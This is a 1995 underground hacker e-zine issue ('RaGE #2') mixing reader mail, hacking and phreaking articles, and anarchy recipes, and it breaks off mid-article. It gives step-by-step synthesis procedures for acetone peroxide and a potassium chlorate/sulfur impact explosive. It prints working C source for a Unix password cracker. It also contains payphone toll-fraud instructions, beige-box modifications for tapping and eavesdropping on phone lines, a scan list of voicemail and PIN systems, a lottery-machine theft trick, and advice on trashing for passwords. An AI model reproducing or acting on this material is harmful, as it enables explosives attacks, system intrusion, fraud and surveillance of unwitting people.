RiSSue#2iSSue#2iSSue#2iSSue#2iSSue#2iSSue#2iSSue#2iSSue#2iSSue#2! aS i2 GS 01110010 01100001 01100111 01100101 S# Ei SE #2 лллллллл лллллллл лллллллл лллллллл uG 2# sselhtuR лл лл лл лл лл лл лл Ruthless ea !e stsichranA лл лллллллл лл лл лл лл Anarchists #R Ru gnitteG лл лл лл лллллллл лллллллл Getting 2! aS nevE лл лл лл лл лл Even i2 GS лл лллллллл лллллллл лллллллл S# Ei SE #2 "It's only freedom as long as the opposition tolerates it" uG 2# ea !euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#R ------------------------------------------------------------------------------ Table of Contents RaGE Magazine Issue #2 ------------------------------------------------------------------------------ I. Intro 1. Welcome to RaGE #2 2. RaGE Mailroom II. Chapter 1 [Hacking] 1. Project Hacker 2. TinyCrack C source 3. SPA/Internet Piracy 4. Mitnick Gets Busted III. Chapter 2 [Phreaking] 1. Payphones in Spain 2. Advanced Beige Box Modifications 3. Phreaker's Tools Review 4. 1-800-325-3xxx Scan List IV. Chapter 3 [Anarchy/Scams/Exploits] 1. Acetone Peroxide Explosive 2. Potassium Chlorate/Sulfur Explosive 3. New York Instant Lotto Machines 4. Trashing Techniques 5. Blockbuster Video Scam 6. Carding Techniques 7. Marijuana Closet Garden V. Chapter 4 [Editorials] 1. Microsoft Windows '95 Editorial 2. Stumble's Nazi Views VI. Ending 1. Submission Guidelines 2. uuDW group info ------------------------------------------------------------------------------ Welcome to RaGE #2, as you can see this is nothing like our first issue. We have a new text reader for the 'zine and new ANSI. We received lots of feedback after the initial RaGE release. Many of the suggestions and comments sent to us influenced us into making some dramatic revisions. Hopefully it doesn't suck too much... We are continuing with the production of RaGE, full-steam ahead therefore we are accepting your comments and suggestions for future issues of RaGE. Due to suggestions from several readers we have sub-divided the text into smaller bite size portions. This will allow you to quickly and easily go to your section of choice. A uuDW WWW page is in development. It was not ready for use at press time. Therefore it should be up and running sometime soon. We are also trying to obtain an FTP site to receive submissions for future RaGE releases. So here you are about to read RaGE #2. We unfortunately could not release it on the originally specified date. But life sucks, and we still live it... So all of us at uuDW hope you enjoy another RaGE excursion... --- RaGE Mailroom From: jp4ace@netcom.com Subject: RaGE To: uudw@cyberspace.org Date: Thu, 9 Mar 1995 16:16:28 -0800 (PST) > I just got RaGE #1, and it is the BOMB man! Tha shit kix ass!! Make more > music for it tho... > L8rz.. Thanks for your support! However, due to the size of the music files in RaGE #1, a decision was made to stop including music with RaGE. We felt it did not fit in with the general concept of the magazine. We are, however, in the process of working on a literary magazine, to include poems, short stories, and music, which will be released sometime in the future. --- From: iha_j@kosmos.wcc.govt.nz Subject: Ya mag To: uudw@cyberspace.org Date: Sun, 15 Jan 1995 23:38:46 > Yeah, just a comment about ya mag, da Musix is fuqin awesome, anyway I > was lookin into becoming offical distro site 4 ya mag, so reply here if > interested... Anyone interested in becoming a distribution site must e-mail us their complete board information, and we will get back to you within a few days. --- From: H-Bomb Subject: RaGE is Phat! To: uudw@cyberspace.org Date: Sat, 14 Jan 1995 02:10:57 > Yo! I just wanna say to you guys that Rage #1 is all that! Your > articles about AT&T and the bomb making shit... Aww man that is phat! The > music is slammin too! Anyway I just wanna say that you guys obviously did a > hella detailed job on #1 so im wondering when is #2 gonna be out? Where can > I find it? Etc... But anyway I'm gonna go read Rage #1 over again to make > sure I didn't miss anything! Glad to hear you liked it... Check the FTP site listing at the end of RaGE #2. !!! --- Project Hacker In RaGE #1, Grendel gave his opinions on the world of hacking and the attitides that come along with it. I agree with him in that everyone seems to just want to be the best, and aside from them, everyone else is lame. There are many breeds of hackers, or at least, people who call themselves hackers. As far as the underground world goes, I would like to offer my opinion on the subject. If you haven't already, be sure to read Grendel's article from RaGE #1. The art of perfection in hacking lies in knowing exactly how far over the edge you can safely go. Everyone's goal is to not get caught, (mostly sparked by unnecessary paranoia) but not as many can actually achieve it. What one must do is know exactly what you are dealing with. In this world, knowledge is power. The more you know about what or who you are dealing with, the better you will be able to handle yourself as you do what you want, and be successful at it. Setting a clearly defined goal is terribly important. Unfortunately, it does not seem to be a high priority for many "hackers." They just want to break into a system, fool around, and leave. Sure, there's a rush, but often it's only temporary because proper measures were not taken in advance. What they should do instead, is break in, maintain a low profile, learn the system, find out what they can and can't do, and leave without being detected. Then, if they want to attack the system in a more agressive way, they will have the know-how to do so successfully, without a System Administrator breathing down their back. Many hackers take the same routes that have already been used and abused by their predecessors. Here is where the power of originality can be helpful; finding a virgin system will benefit you in many ways. There will be pathways available to you that have never been touched by others, there will be a number of possibilities waiting for you, tempting you with its own stupidity. Reach out and command these untouched security mishaps, for they will be gone all too quickly. By breaking into a system once, you have found that a door is open to you. By giving away your presence, you can have that door slammed in your face. By taking careful precautions, you can not only keep that door open to you, but open additional doors for your use. If you like to break in and do as much damage as possible on the first chance you get, your poor approach to hacking will soon catch up with you. If you hack to gain knowledge, and use that knowledge in a way that will bring you to additional knowledge, more power to you. I would like to share an article that I recently saw in the newspaper... Apparently, the technique being described is an old one, but has just recently been exploited, and on quite a large scale. --- "Internet hackers steal a new ride" Hackers are circulating and using a technique that can crack security systems at many Internet computer sites, including beefed-up systems recently installed at great expense by hundreds of businesses and other institutions, federal officials and security experts said (Monday). Spoofed: IP spoofing can enable intruders to take control of those systems - reading mail, deleting files or stealing programs - despite so- called "firewalls" that were intended to improve the loose security inherent in the Unix operating system of most Internet computers. Unix is a popular operating system for computers at academic institutions. Snooped: The problem will have little impact on the average Internet computer user, whose e-mail and files have always been vulnerable to determined snoops. But it could slow the rush to transfer cash and set up electronic businesses on the Internet, a network on 20 million computer users. Warned: The Computer Emergency Response Team, the federally funded clearinghouse for Internet security, (Monday) issued a warning over the Internet about the intruder problem and offered several possible technical fixes, all intricate. - (From: News Service Reports) GraveDigger/uuDW --- /* TinyCrack v1.0 by Bluesman@cyberspace.org 1/95 - SPECIAL RaGE RELEASE! - If your tired of having to use gigantic password crackers for a quick-fix, then you might try using this program. It does the basics. It scans for nulls, tries usernames and account names and of course it runs with any wordlist dictionary. Tested on SunOs, Ultrix and Linux. TO COMPILE: gcc -O2 tc.c -o tc */ #include #include #define fetch(a,b,c,d) {fgets(a,130,b); c=strtok(a,":"); d=strtok('\0',":");} main() { FILE *p,*o,*w; char i[50],pes[130],pas[50],pps[50],pws[50]; char *es=pes,*as=pas,*ps=pps,*ws=pws; printf("\nTinyCrack v1.0 Bluesman 1/95 - RaGE Mag Release!\n\n"); printf("Password File: "); gets(i); p=fopen(i,"r"); printf("WordList File: "); gets(i); w=fopen(i,"r"); printf("Results File : "); gets(i); o=fopen(i,"w"); fprintf(o,"*** TINYCRACK v1.0 ***\n\n*** PASS 1: NULL PASSWORDS ***\n"); while(ps) { fetch(es,p,as,ps); if(ps) if(ps[-1]==':') fprintf(o,"| User [%s] has no password!\n",as); } fflush(o); rewind(p); fprintf(o,"*** PASS 2: ACCOUNT NAMES ***\n"); do { fetch(es,p,as,ps); if(ps) if(!strcmp((char *)crypt(as,ps),ps)) fprintf(o,"| User [%s] has password [%s]\n",as,as); } while(ps); fflush(o); rewind(p); fprintf(o,"*** PASS 3: DICTIONARY WORDS ***\n"); do { rewind(w); fetch(es,p,as,ps); do { fgets(ws,130,w); ws[strlen(ws)-1]=0; if(!strcmp((char *)crypt(ws,ps),ps)) { fprintf(o,"| User [%s] has password [%s]\n",as,ws); fflush(o); break; } } while(!feof(w)); } while(!feof(p)); fprintf(o,"*** FINISHED SESSION ***\n"); exit(1); } --- Internet Piracy Piracy has been a big issue in on the Internet since the crackdown of Cynosure in the middle of 1994. With that bust many different communities have been working together to stop the pirate situation on the Internet. It has been a constant race between the pirates and the anti-pirates. When the anti-pirates find one way to stop them, the pirates find another way around them. But as the following article states, the Internet is going to be a huge target in 1995. Please read the material and take precaution toward these actions. This is a fair warning going out to the anti-pirates, and the pirates... --- SPA Targets Internet, International Piracy 01/11/95 WASHINGTON, D.C., U.S.A., 1995 JAN 11 (NB) -- Software Publishers Association (SPA) says corporate software piracy in the US was down 23 percent in 1994, but other forms of piracy became more secretive and harder to locate. The anti-piracy trade organization said it will focus on international piracy and, specifically, piracy on the Internet during 1995. SPA sources said anti-piracy hot-line calls came in last year at a rate of nearly 30 per day. These tips led to the SPA taking various types of action against 447 organizations and led to 197 audits and lawsuits. These resulting in the payment of $2.7 million in penalties during 1994, SPA sources said. The organization said cumulative receipts from its continuing anti- piracy campaign came to $14 million so far at the end of last year. SPA said that, of all cases brought against suspected offenders, 95 percent were corporate cases. Five of these led to settlements greater than $100,000, the organization said. Money from such settlements goes to fund education programs and future legal actions, the SPA said, but declined to name any of the companies involved. The SPA officially estimates losses to software companies at $1.6 billion annually in the US, and $7.5 billion internationally. It bases its estimates on the number of computers sold in an area, the number of software packages reported sold legitimately in the same area, and statistical reports on the number of key applications run on an average desktop machine. David Trendlay, the SPA's director of research, told Newsbytes the underlying assumptions were reasonable and the resulting estimates should be considered good. Sally Lawrence, the SPA's director of communications, told Newsbytes that piracy law violators have become more active on the Internet, where they are harder to track down. "We have stepped up our monitoring on the Internet dramatically, and are working in cooperation with major American universities where some of this activity is taking place," she said during an interview. "They've come across a number of pirate sites hidden away in unsuspecting host servers. Right now they're monitoring those activities with the intention of prosecuting to the full extent of the law." Lawrence declined to release any further details, other than to confirm that the organization's attentions to the Internet were not confined to activities in the "found" specific sites. Internationally, the SPA has been active in France, Great Britain, Singapore, Ease Asia, South America and Canada. It has recently developed a Certified Software Manager course that offers certificates upon completion of a test on copyright law, licensing issues, autoing and software management policies. (Craig Menefee/19950111/Press Contact: Sandra Sellers, director of litigation, ext. 311, or Sally Lawrence, director of communications, ext. 320, both of the Software Publishers Association, 202-452-1600; Reader Contact: Piracy Hotline: 800-388-7478; SPA fax-back service, 800-637-6823) --- MrOrange/uuDW --- Mitnick: NO CARRIER Kevin Mitnick, the computer hacker who has been dodging the law since 1992, was finally caught in February 1995. His downfall was the result of another hacker's work, who happened to be on the other side of the law. Tsutomu Shimomura was able to locate Mitnick's exact location through several tracking techniques, including assistance from a Sprint technician, who drove around Raleigh, North Carolina, in a van equipped with cellular frequency scanning equipment. In the early 1980's, Mitnick was a teenage phone phreak, and later became involved in computer hacking. He stepped up from payphones to cellular technology, giving him even more freedom. Mitnick had collected some 20,000 valid credit card numbers, but had not even used one of them, according to the evidence available. (This article was condensed from the February 27 1995 issue of Newsweek.) GraveDigger/uuDW !!! --- Spanish Phone Phun By: Greg Oreck (i think?!) While I can describe to you how one could accomplish this little hack, I'm still looking for a definitive answer as to why it works, so if anyone else has any ideas, please let me know. As far as I can tell though, what the following does is to give you a line out from inside the Telefonica system itself, and probably directly out of their telephone directory information lines. To start off, first you have to find the right kind of phone. The phone you see here is the ONLY kind of Telefonica pay phone this works on, this hack utilizes some flaws in this particular kind of pay phone, which only one of the types found in Spain. It would be interesting to know if there are Telefonica phones such as these in other spanish speaking countries (as I believe Telefonica doesn't only operate in Spain). Aside from just finding the right kind of pay phone, you also need to find one where the wall plug is within reach, and where it is possible to tamper with without attracting to much attention. This isn't as hard as you think! Very often the plug is directly below the pay phone itself (as pictured here). ___________Slot_____ / \ | ----- | | /-\ | LED | | | \_/ ----- | Notes: | [|] mf ? | The coin slot is right above | [|] 1 2 3 | the LED display. I have no idea | [|] 4 5 6 | what the "mf" button stands for, | [|] 7 8 9 | but as you'll read later on, it's | /-\ * 0 # | an important ingredient! The | \-/ _______ | button labeled "?" is the button | |Coinbox| | I couldn't make out from the | |_______| | picture... Below the phone is the |--------------------| plug. Boy they sure are dumb in \____________________/ Spain! Oh yeah: The "Coinbox" is |Plug!| the coin return. - Grendel |_____| Now to begin, deposit one 25 peseta piece into the phone (the large 25 peseta piece, not the new small one). Next, press down the hook nine-tenths of the way down until you feel a little resistance. If your 25 pta. piece is returned, you pushed it down too far, but if it doesn't, and the LED screen changes and starts to blink then you've done it correctly. Now it would be wise to place something over that LED screen as the blinking picture on the screen means that the phone is now working and anyone who glances at it during your call will get quite suspicious. I suggest a business card with someone's phone number on it (as if you were using it to look at their number). Once you've done this, you should dial "003". This is the # for directory assistance in Spain, and once it connects, you will at first get a recording in spanish. Once you hear this (i.e. you've connected), quickly unplug the phone from the wall and then reconnect it. At this point you should hear a steady tone (this is their dial tone), and all you have to do now is to hit the "mf" button on the phone's keypad (this is usually used for if you want to make a second phone call and still have credit for the last call). Once you've hit the "mf" button, you're free to dial away! You can now make local or international calls, just consult the directions on how to make international phone calls from any outdoor phone booth. To make another call when you're done, instead of hanging up, just unplug and re-plug in the phone again and hit the "mf" button and you're ready to dial again! Finally (and this is the best part!) when you are done with your phone calls, just hang up the phone, and your 25 pta. piece is returned to you! (courtesy of your friends at Telefonica!) Hope you enjoyed the information! * A note from Grendel: I stole this article out of "Walkabout 'zine" a really cool 'zine that I picked up at a music/comic/coolshit shop up near the local University. I recommend that if you see this 'zine sitting on some shelf... BUY IT! (Or steal it.) Whatever! Grendel/uuDW --- Beige Box Modifications I'm going to try to explain, and provide text-diagrams for a few modifications I have made to my beige box. These modifications allow for greater manipulation and testing of the lines which you will be using during your boxing experiences. They have been streamlined with the idea in mind that a beige box is a tiny hand-held unit, and these additions should not add too much bulk to your box if you decide to implement them. This article is assuming you know what a beige box is. I will not explain how to build one here. This is only meant for people who already have one, and who have used it before. I've provided the info, use it as you wish. Do it right, and you'll have no problems. You should be able to find all the parts you need in a decent electronics store. I usually get my stuff from Radio Shaque, but I also got some from school -- I used to take an audio electronics course, and I was able to get lots of components from that class. Adding these modifications involves some knowledge in stripping wires, identifying components, and soldering. If you can't do any of this, here is a good place to stop. 1. Line Breaker: One of the devices on my beige box is just a simple button. It's a normally-closed button, which means the circuit is on unless you press the button, which will break the circuit. Pushing this button, then, is the equivelant to hanging up the phone. I hold this button down when connecting the clips to the terminals, just in case someone is on the phone. This will prevent them from hearing static and such. It can also be used to quickly disconnect modem calls without removing the alligator clips. Below is a simple diagram showing how to add this feature to your beige box: Modular Jack +----------+ Green Wire | |----------------------------< Alligator | |-----------------+ +-----< Clips +----------+ Red Wire | | +-//-+ Button or SPST Switch All of the parts are self-explanitory, and the button could be replaced by an SPST toggle switch if desired. As shown above, the button or switch is placed on one wire (either red or green would work, it just has to be able to interrupt the circuit) and each end of the wire is attached to one of the terminals on the button or switch. 2. Polarity Tester: This is helpful for testing for lines when you aren't sure if any of the terminals in a box are actually connected, or if you can't remember the famous "RED RIGHT RING" rule, and want to be sure you connected the box the right way. It's activated by an SPST switch, and also requires a red and a green LED. These parts are easily obtainable from most electronics stores. You can even buy them if you want, but I suggest "obtaining" them first. (Why waste your money?!) Here we go with lame diagrams again: Green Wire ---------+---------------------< | / SPST Switch | +-+-+ - | | + Red LED @@ @@ Green LED + | | - +-+-+ | ---------+---------------------< Red Wire Take note that the polarities of the LED's are opposite each other. This way, if the current is flowing, only one LED will light up, indicating if the polarity is correct or not. If no light is on, either there is no current, the LED's are blown, or you fucked it up somehow. You should only use this in emergencies, and only for short periods of time, or else you will blow the LED's, and the damn thing won't work, you will look like a major lamer if you're out with someone else and the thing fails. :P Normally, the red wire is the negative end. So you need to make sure you have the green LED's negative end facing the red wire, and the red LED's negative end facing the green wire. Otherwise, the thing won't report the correct polarity, and what purpose would that be? 3. Line Noise Reducer: By adding this modification to your beige box, you will be able to cut line noise. This is another simple procedure which requires easily-obtainable parts. It will not reduce all of the noise, but can be effective to some degree. The diagram follows: Green Wire ------+---------------------< | (O) 1k ohm resistor | (O) 1k 250v capacitor | ------+---------------------< Red Wire The capacitor will trap any excess noise, and the resistor will prevent it from doing too much work. This should not affect the quality of the connection in a negative way. These parts are also easy to get, just try to get small components so you can fit them inside the modular jack. This actual modification idea was borrowed from a text file on reducing phone line noise. 4. Monitor/Talk Mode Switch: This method has not been tested by me, and it has been devised from an article written by Phucked Agent 04 from the LOD/H Technical Journal. I'm including this because I don't think many people know about this. The purpose of this device is to allow you to monitor someone's line, meaning just sitting there and listening in, or to use the line for dialing, modeming, talking or whatever. This switch, then, is like a mute button. Follow carefully for a little lesson in parallel circuits. Red Wire ----------------------------< Alligator ------------+ +------< Clips Green Wire | | +---//---+ SPST Switch | | +---@@---+ 10,000 ohm 1/2 watt Resistor | | +--! (--+ 0.22 uF 200 WVDC Mylar Capacitor Lovely, is it not? Hmm... Oh, that's what I thought. Anyways, to talk, simply close the switch. Thus all the current will travel normally, bypassing the capacitor/resistor routes. By opening the switch, you send the current to the cap and resistor, placing you in "monitor" mode, in which anyone using the line will not be able to hear you. If you want to get really sneaky, replace the SPST with an on/off trim pot, which will enable complete cutting of the circuit and complete connection. This will allow you to gradually switch modes, as to further go undetected due to the absence of audible line static due to your dirty deeds. Well, there's a few ideas on how to improve your beige box. What I did was to cut holes in the top of the modular jack case to house the button, switch, and two LED's. The resistor/capacitor fit inside. Most buttons and switches come with nuts or screws to fasten them to the case. For the LED's you can use glue to secure them in their place. When adding these toys, use the smallest amount of copper wire possible, and be sure to solder all your connections. If the damn thing falls apart, its likely to be a bitch to fix it. Do it right the first time. If you're messy and can't make everything fit right, either get a bigger modular jack or one of those "experiment boxes" from Radio Shaque, a small plastic box which can be used to house your various components. If you decide to do this, instead of using a modular jack, just get a small modular socket and wire it yourself. Have fun, and be eleet!! GraveDigger/uuDW --- PC Phreakers Tools Review I am going to review some high points and low points of two of my personal favorite software products designed for phreaking purposes. They are available on various FTP sites, or just call up any decent H/P/A board and look for copies. If you can't find 'em you probably don't need 'em. These programs are ToneLoc and BlueBEEP. I used the most current versions at the time of writing this article. BlueBEEP is one release short of its last version, and I'm not sure about the future of ToneLoc. In any event, on with the show. ToneLoc 1.10 - Minor Threat & Mucho Maas This is, in my opinion, the best scanning program available for the PC phreak. The version I currently have is 1.10, and I have used it on several occasions, without running into any noticeable errors. My first impression of ToneLoc was "I hate commandline-driven dialers!" I was hoping to encounter some kind of scanning interface. But out of necessity, I finally gave ToneLoc another try and decided there was no better substitute. Even though it is commandline-driven, its features are powerful, allowing you to define the scan mask, range, hours, maximum numbers dialed, and more. It comes with a config program, which is used to define the modem port, init strings, dialing times, modem responses, and other important settings. However, well... Most BBS programs don't even have external config programs anymore. This makes operation a little clunky in my opinion. One of my friends reported that his 28.8 didn't work with ToneLoc, and when recommending ToneLoc to me, suggested that I use my 2400 for scanning. I decided to tinker around with TL first, to see if I could get my 14400 to work properly with it. All I had to do was add some delays to the hangup strings, modify the dialing time, and add commands to the init string. It took less than 5 minutes of configuring, testing, and reconfiguring until my 14400 was set up properly. During my setup, I also discovered how well the authors have documented their software. After scanning 1000 numbers, I got 4 carriers, 15 busy signals, and the rest in timeouts. I was a little disappointed. What to do about all those damn timeouts? Then, I noticed another program in my TL archive that was designed to handle the timeout responses. This particular program was TLREPLAC, written by the TL authors themselves, and is very useful. Unfortunately, the data file entered on the commandline for TLREPLAC must have the .DAT extension, as the extension you enter is ignored. I had to rename my datafile in order to use this utility. While scanning, you are shown the modem responses on the right portion of the screen. This is helpful when setting up, as you can see if the init string gives an error. You also have the option to turn off the modem speaker from the scanning screen, as well as blank the screen, show a different screen (boss-key type feature), and stop the dialing prematurely. TL 1.10 also came with third-party utilities designed to work with its output data files. The authors of TL have included their C header file, which explains the format of the data files, for anyone wishing to develop complementing software. One of these third-party utilities is Tonemap, which displays a graphical map with color representation of the various scanning results from your data file. Using the cursor arrow keys, you can move to different-colored blocks quickly, and the number will be displayed on the screen. For example, carriers are red blocks, so you can quickly see them, and move the cursor to the box and get the number, instead of just opening up the scan log text file and getting the number. Another of the external utilities is PRESCAN, allowing you to exclude certain numbers in your scanning range. These numbers could be residential numbers obtained from the phone book, and there are supposedly CD-ROM disks available with such numbers on them, which can be used and will make your job easier. In effect, this cuts down your scan time by not dialing numbers that you know won't be of any use to you. I think it would be great if ToneLoc came with default setups for different brands of modems, like many terminal programs come with. Due to TL's large user population, it shouldn't be hard to get help to develop this addition if it is planned. BlueBeep .10 - Onkel Dittmeyer This little gem has an array of great features. It works best with a soundcard. You only need a modem if you want to do scanning with it, but I really recommend ToneLoc as a scanner. Included with BB is a redbox tone generator, card talker, and a number/word translator. You can setup everything from within BB, including the soundcard, modem, and other settings. With the setup being internal, it makes things that much easier. My personal favorite tool is the Card Talker. It allows the user to define a phone number, a calling card number, and use pre-recorded voices to use as an interface between the phreak and the Long Distance Operator. This feature was designed so well, the voice samples for the numbers includes a "high" and "low" sample, giving it a natural sound, since numbers at the end of a grouping would naturally be spoken with a lower tone of voice. The Card talker also has user-defined voice capabilities, allowing two VOC files to be inserted by the user. I think it would be best to add more user-defined VOC slots, to allow for greater possibilities. For example, you might need a voice to say "Yes," "No," or other responses. Also, it would be helpful to have a short definable description for each custom voice file, so you know which button is which voice. Pressing the key for the included voice "Hey you stupid fag, I'm gonna cut your balls off" could be the wrong thing to do after the operator tells you she is putting your call through. The number/word convertor allows you to type in a word and have it translated to numbers as you would find on a touchtone phone. It also allows you to type in a number and instantly find a matching word or phrase for it. This is handy for scanning those word-numbers like 1-800-EAT-SHIT or similar. Due to a phone's layout though, it can't convert numbers with 0 or 1 in them, since there are no matching letters. There are also many scanning routines to be used, none of which I have tried due to my desire to stick with ToneLoc for scanning. Even still, BB is not a command-line scanner :). However, if I ever had one of those recordable talking hallmark cards, I would know where to record my redbox tones from. I recently mailed the author of this program to ask a question about the program itself, and the author informed me he is preparing to release the source code and discontinue work on the program. I have also heard on Usenet that the author is planning one final release - 1.00 - after which release the source will be made publicly available. This should be a great help to anyone interested in developing a phreaking utility for the PC. You can also expect a uuDW project to come out of BlueBEEP. Right now, we are planning a customized version of BB's card talker, and we are going to use the BlueBEEP source to develop it. Watch for it soon. GraveDigger/uuDW --- 1-800-325-3xxx Scan 011 - VMB System (VMX) 024 - VMB System 033 - "Please enter your transaction code and password." 040 - VMB System (Audix) 042 - VMB System (Audix) 047 - VMB System 053 - VMB System 057 - "Please enter your 4-digit PIN" 061 - VMB System (VMX) 070 - Loud Beeps (Fax? - Press * or #) 073 - VMB System 090 - Dictation Service Asks for access code 102 - "Please enter your 4-digit PIN" 104 - "Please enter your 4-digit PIN" 105 - "Please enter your 4-digit PIN" 107 - "Please enter your 4-digit PIN" 116 - "Please enter your 4-digit PIN" 120 - VMB System 125 - VMB System (Admin box 999) 130 - VMB System 134 - VMB System 137 - "Please enter your 4-digit PIN" 138 - "Please enter your 4-digit PIN" 139 - "Please enter your 4-digit PIN" 151 - "Please enter your 4-digit PIN" 176 - VMB System (* to enter a mailbox) (no hangup for errors) 188 - VMB System 201 - VMB System (Aspen) (Admin box 9000) 215 - Carrier 219 - VMB System (Automated Attendant) 222 - VMB System 236 - "Please enter your 4-digit PIN" 239 - Weird tones (similar to a carrier) 243 - Carrier 250 - Automated Banking Service 251 - VMB System (#81 to access) 281 - Weird beep - Press # and * and it says "Hang Up." 286 - Weird beep - Press # and * and it says "Hang Up." 292 - VMB System (Automated Attendant) (3 digit boxes, 4 digit passwords) 322 - VMB System (default password: 0000) 341 - Weird beep - Press # and * and it says "Hang Up." 350 - VMB System 356 - VMB System 367 - Quiet tones 377 - Asks for a 5 digit access code 381 - VMB System (Dial ##81 to logon) 382 - Long Beep 391 - VMB System (Dial ##81 to logon) 393 - VMB System 398 - VMB System (4 digit boxes, 10 digit passwords) 402 - VMB System 405 - VMB System 411 - Direct-dial VMB / Pager Service 422 - VMB System 446 - VMB System 458 - VMB System 472 - VMB System 480 - VMB System (Press *# to enter) (3 digit boxes) 492 - Carrier 505 - Dialout (Code needed) 508 - VMB System 519 - VMB System 523 - VMB System 530 - Weird tones 540 - VMB System (3 digit boxes/passwords) 545 - VMB System (3 digit boxes/4 digit passwords) 550 - VMB System 552 - VMB System (Meridian Mail) (Press #6 to enter) 565 - VMB System (Meridian Mail) (Press #1 to enter) 573 - VMB System (#81 to enter) 590 - Automated Banking Service 644 - VMB System (3 digit boxes/4 digit passwords) 645 - Carrier 680 - Weird Beeps 690 - Carrier 716 - "At the tone, please key in your number" 720 - Weird Beeps 727 - Ringing with dialtone heard in background 785 - Rings Once.. beeps heard after ring 799 - (After pressing #, "Please enter your security code") 805 - Beep then rings.. VMB System 811 - VMB System (prompts for password then mailbox) 815 - VMB System (Press *# to enter) 841 - VMB System 847 - "..this program has ended and no further calls are being taken.." 856 - Long high-pitched tone 864 - VMB System 885 - Dialout 888 - VMB System 929 - "Enter the numbers you wish displayed" 936 - VMB System 963 - Automated Trucking Accounting Service 969 - Automated Trucking Accounting Service 980 - Press # "Please enter your.. access code" !!! --- Acetone Peroxide Explosive Acetone peroxide is a primary explosive that can be made from hair bleach (hydrogen peroxide), acetone, and sulfuric acid. This explosive can be used n the fabrication of detonators. Material Required: Sources: Hydrogen peroxide Hair bleach (15-25 volume content) Drug stores and hair supply stores. Acetone Hardware stores, drug stores, etc. Sulfuric acid Clear battery acid boiled until white fumes appear. Eye dropper or syringe with glass tube. Graduated cylinder (cc or ml) or other measuring device. Thermometer (0 to 100 degrees C.) Glass containers Large pan Ice, salt and water. Paper towels Procedure: 1. Measure 30 milliliters of acetone and 50 milliliters of hydrogen peroxide into a glass container and mix thoroughly. 2. Cool the acetone/peroxide mixture by placing its conatiner in a larger one containing a mixture of ice, salt, and water. Note: Because of the lighter inner container being buoyant in the larger outer container, it's necessary to secure it so that it won't fall over into the ice, salt, and water mixture. 3. Cool the acetone/peroxide mixture to 5 degrees C. 4. Add 2.5 milliliters of concentrated sulfuric acid to the acetone/peroxide mixture slowly, drop by drop, with the use of an eye dropper. Stir the mixture during the addition of the sulfuric acid with a thermometer, keeping the temperature between 5-10 degrees C. Should the temperature rise above 10 degrees C., stop adding the sulfuric acid and continue stirring until the temperature drops again to 5 degrees C., then continue adding the sulfuric acid. 5. After all the sulfuric acid has been added, continue stirring the mixture for another five minutes. 6. Let the acetone/peroxide/sulfuric acid mixture stand in the ice/salt/ water bath or remove the inner container and place it in an ice box for 12 to 24 hours. 7. After 12 hours white crystals of acetone peroxide will precipitate out of the once clear solution. Precipitation should be completed after 24 hours. CAUTION: At this point the mixture is a primary explosive. Keep away from shock, friction and flame. 8. Filter the mixture through a paper towel into a container to collect the solid particles. 9. Wash the solid particles collected in the paper towel with small amounts of ice cold water poured over them. Discard the liquid in the container. 10. Place these explosive crystals in a container and allow to dry. CAUTION: Handle the dry explosive with great care. Do not scrape or handle it roughly. Keep away from sparks or open flame. Store in a cool, dark, dry place. PSYC0SiS/uuDW --- Potassium Chlorate/Sulfur Explosive An impact sensitive explosive can be made from postassium chlorate and sulfur. This explosive can be used as a filler when making reusable primers or as a filler when making impact sensitive fragmentation bombs. Material Required: Sources: Potassium chlorate Drug stores and chemical supply houses (used in match heads). Sulfur Drug stores and garden supply houses (Flotox brand garden sulfur). Measuring container (cup, tablespoon, etc.) Mixing container (jar, can) with tight fitting lid. Two flat boards (one should be comfortably held in the hand such as a square block or rolling pin and one very large, i.e., 36" x 36") Procedure: 1. Spread a handful at a time of postassium chlorate on the large flat board and rub vigorously with the other flat board or rolling pin until the large particles are crushed into a very fine powder (approx. 10 minutes per handful). CAUTION: Thoroughly clean and dry both boards before using again with a different substance. 2. Repeat this process using the sulfur. 3. Measure 7 parts by volume, 11 parts by weight, of powdered potassium chlorate and 1 part by volume, 1 part by weight, of powdered sulfur into the mixing container. CAUTION: This mixture forms an extremely shock sensitive explosive, especially between two metal surfaces. Reasonable care should be exercised from this point on. 4. Gently tumble the mixing container between the hands until the ingredients are thoroughly mixed together. 5. Place the mixed explosive in a tightly sealed storage container until ready to use. CAUTION: Do not store the mixed explosive for more than five days before using. Keep this explosive dry at all times. PSYC0SiS/uuDW --- Ripping Off Instant Lotto Machines New York's prominant "Hey, you never know..." theme for the lottery may be a common saying these days, but the odds of your winning any state lottery are quite slim; or are they? First off, I'd like to throw a standard disclaimer at you: I'm not responsible for shit. My intentions are not to cause financial difficulty to the states (God knows we need more of it), but merely to point out some flaws... This is for informational purposes only, and use of this material for illegal activities is not suggested... Now that that's outta the way, a diagram might be in order: __________________________________________ | _____ | | Instant Lotto Machine ||__A__|| | | | | _______ _______ _______ | | | X | | Y | | Z | | | |_______| |_______| |_______| | | _______ _______ _______ | | |___1___| |___2___| |___3___| | |__________________________________________| To do get this trick to work, you need two $1.00 bills. Slide the first dollar into slot 1, 2 or 3 (being the slot which the tickets would come out of for tickets X, Y and Z respectively)... For example, if you wanted ticket X, you'd place your first dollar in slot 1. Next, put your other dollar in slot A. This should cause tickets to come spewing out of the slot in which you placed your first dollar (at least until the dollar falls out, or the machine jams, etc)... If you were to do it, I wouldn't recommend doing it too often, mainly because it looks slightly suspicious if you're always at the Lotto Machine. Also, these machines are usually placed in positions which are wide open, and easily seen by people with status (i.e. don't fuck around)... I hope this file somewhat enlightened you to the faults of a fairly popular machine, but I recommend not trying it as it's probably considered fraud in most parts of the country. :) Free the Information, Spread the Knowledge. Crax/uuDW --- Trashing Techniques So you want to go trashing eh? Well, it's easy, fun and highly productive; if you follow a few simple tips. I've been trashing around my city for years, and could go on and on about the fun times, and close calls I've had. Trashing, is simply glorified trash picking. If the thought of this makes you queasy, you might as well stop reading, as this is no use for you. The first thing to do is decide what your target will be. A local phone company office, university or corporation is a good one. These are good if you are looking for Internet dialups, passwords, account info, or anything else that would be on computer printouts. You will be amazed at the amount of valuable information just carelessly tossed away. If you're looking for hardware, a renovating company will sometimes throw out valuable, though slightly outdated computer peripherals. I've seen hard drives in garbage bags just asking to be brought home. Don't forget those drives once had information on them too. Once you've gotten that out if the way, the plans begin. A reliable source of transportation is essential. I think a pickup truck is the best way to go. Both people and your loot will fit in the bed. Not to mention a quick getaway is easier if you don't have to jump behind seats and over your friends. If you don't have access to a truck, just make sure you won't be using a little compact import. You will have a little trouble, believe me. Scope out your target dumpster. Look for 